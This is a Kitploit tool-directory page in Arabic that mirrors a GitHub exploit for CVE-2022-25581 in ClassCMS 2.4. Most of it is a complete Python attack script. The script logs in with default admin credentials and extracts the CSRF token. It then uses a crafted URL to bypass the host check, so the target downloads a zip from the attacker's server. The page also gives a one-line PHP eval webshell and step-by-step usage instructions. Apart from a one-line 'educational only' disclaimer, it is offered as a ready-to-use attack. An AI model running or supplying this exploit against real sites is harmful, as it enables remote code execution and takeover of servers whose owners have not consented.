Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-25581 — نص برمجي بايثون لاستغلال الثغرة CVE-2022-25581 (تنزيل ملف عشوائي في ClassCMS 2.4) يقوم بأتمتة تسجيل الدخول، استخراج رمز CSRF، رفع ملف ضار مضغوط يحتوي على webshell، والوصول إلى شل بعيد عبر تجاوز تحليل عنوان URL. | Kitploit
أدوات/GitHubGitHub/wooluo/cve-2022-25581
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubwooluo/cve-2022-25581

CVE-2022-25581

نص برمجي بايثون لاستغلال الثغرة CVE-2022-25581 (تنزيل ملف عشوائي في ClassCMS 2.4) يقوم بأتمتة تسجيل الدخول، استخراج رمز CSRF، رفع ملف ضار مضغوط يحتوي على webshell، والوصول إلى شل بعيد عبر تجاوز تحليل عنوان URL.

عرض المستودع
1منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-25581

غير متوفر في أي مكان على الإنترنت، احتفظ بنسخة احتياطية، نص Python الاستغلالي، يستخدم لإكمال الخطوات التالية تلقائيًا:


✅ أهداف وظيفة السكريبت

  1. تسجيل الدخول إلى لوحة التحكم (الحصول على csrf و token)
  2. بناء حزمة طلب ضارة لرفع ملف مضغوط (يحتوي على webshell)
  3. الوصول إلى webshell المرفوع للحصول على صلاحيات التحكم (GET shell)

🧾 المتطلبات الأساسية

  • البيئة المستهدفة: ClassCMS 2.4
  • خادم الويب: PHP 5.5 + MySQL
  • يمتلك المهاجم خادم HTTP يمكن الوصول إليه (لاستضافة shell.zip)
  • المسار الخلفي معروف (مثل /admin666)
  • اسم المستخدم وكلمة المرور للوحة التحكم هما admin/admin

🔒 مراجعة مبدأ استغلال الثغرة

جوهر ثغرة تنزيل الملفات التعسفية هذه هو بناء URL بتنسيق خاص:

root@kitploit:~
http://@<ip>:[email protected]/shell.zip

من خلال الاختلاف في طريقة تحليل parse_url() و curl في PHP لـ URL، يتم تجاوز التحقق من القائمة البيضاء للمضيف.


🐍 نص استغلال Python

root@kitploit:~
import requests
from bs4 import BeautifulSoup

# =============== 配置信息 ===============
target_url = "http://192.168.12.144"
admin_path = "/admin666"  # 后台路径
login_url = f"{target_url}{admin_path}?do=login"

download_url = f"{target_url}{admin_path}?do=shop:downloadClass&ajax=1"

# 你的攻击服务器地址(必须能被目标访问到)
attacker_ip = "192.168.12.144"
attacker_port = 80
shell_zip_url = f"http://@{attacker_ip}:{attacker_port}@classcms.com/shell.zip"

# webshell 文件名
webshell_name = "shell.php"
webshell_path = f"{target_url}/class/shell/{webshell_name}"

# 登录凭证
username = "admin"
password = "admin"

# ========================================

# 设置 session 维持 cookie
session = requests.Session()

# ================ Step 1: 登录后台 ================
def login():
    print("[*] 正在登录后台...")
    data = {
        "username": username,
        "password": password
    }
    res = session.post(login_url, data=data)
    if "退出登录" in res.text:
        print("[+] 登录成功!")
        return True
    else:
        print("[-] 登录失败,请检查用户名/密码或后台路径是否正确。")
        return False

# ================ Step 2: 获取 csrf token ================
def get_csrf():
    url = f"{target_url}{admin_path}?do=shop:index&action=detail&classhash=debugswitch"
    res = session.get(url)
    soup = BeautifulSoup(res.text, 'html.parser')
    csrf_input = soup.find('input', {'name': 'csrf'})
    if csrf_input:
        return csrf_input['value']
    else:
        print("[-] 无法提取 csrf token!")
        return None

# ================ Step 3: 上传压缩包并解压 ================
def upload_shell(csrf_token):
    print(f"[*] 正在上传 {shell_zip_url} ...")

    payload = {
        "classhash": "shell",
        "url": shell_zip_url,
        "csrf": csrf_token
    }

    headers = {
        "User-Agent": "Mozilla/5.0",
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
    }

    res = session.post(download_url, data=payload, headers=headers)

    if res.status_code == 200 and "下载完成" in res.text:
        print("[+] 上传成功!")
        return True
    else:
        print("[-] 上传失败,响应内容:", res.text)
        return False

# ================ Step 4: 尝试访问 webshell ================
def check_webshell():
    print(f"[*] 正在尝试访问 webshell:{webshell_path}")
    try:
        res = session.get(webshell_path, timeout=5)
        if res.status_code == 200:
            print("[+] 成功访问 webshell,你现在可以使用菜刀/蚁剑连接!")
            print(f"[+] 地址:{webshell_path}")
        else:
            print("[-] webshell 未找到或未执行。")
    except Exception as e:
        print("[-] 连接异常:", str(e))

# ================ 主函数 ================
if __name__ == "__main__":
    if login():
        csrf = get_csrf()
        if csrf:
            if upload_shell(csrf):
                check_webshell()

📁 طريقة إنشاء ملف shell.zip

  1. إنشاء ملف shell.php بالمحتوى التالي:

    root@kitploit:~
    <?php @eval($_POST['cmd']); ?>
    
  2. قم بضغطه في shell.zip، مع التأكد من أن الهيكل هو أن الدليل الجذر يحتوي مباشرة على shell.php.

  3. ضعه على خادم هجومك، مع التأكد من أنه يمكن الوصول إليه عبر URL التالي:

    root@kitploit:~
    http://192.168.12.144/shell.zip
    

🛠️ تعليمات الاستخدام

  1. تثبيت التبعيات:
root@kitploit:~
pip install requests beautifulsoup4
  1. قم بتعديل إعدادات IP والمنفذ والمسار وما إلى ذلك في السكريبت.
  2. ابدأ خدمة HTTP على خادم الهجوم لتوفير تحميل shell.zip.
  3. تشغيل السكريبت:
root@kitploit:~
python exploit_classcms.py

📌 ملاحظات

  • تأكد من أن المنفذ 80 مفتوح على خادم الهجوم وأن shell.zip يمكن تنزيله بشكل طبيعي.
  • إذا كان مسار لوحة التحكم الهدف مختلفًا، يرجى تعديل admin_path.
  • في حالة فشل التحقق من CSRF، يرجى إعادة التقاط الحزمة للتأكد من تحديث token.
  • هذا السكريبت مخصص للأغراض التعليمية والبحثية فقط، لا تستخدمه للاقتحام غير القانوني!

تنزيل الأداة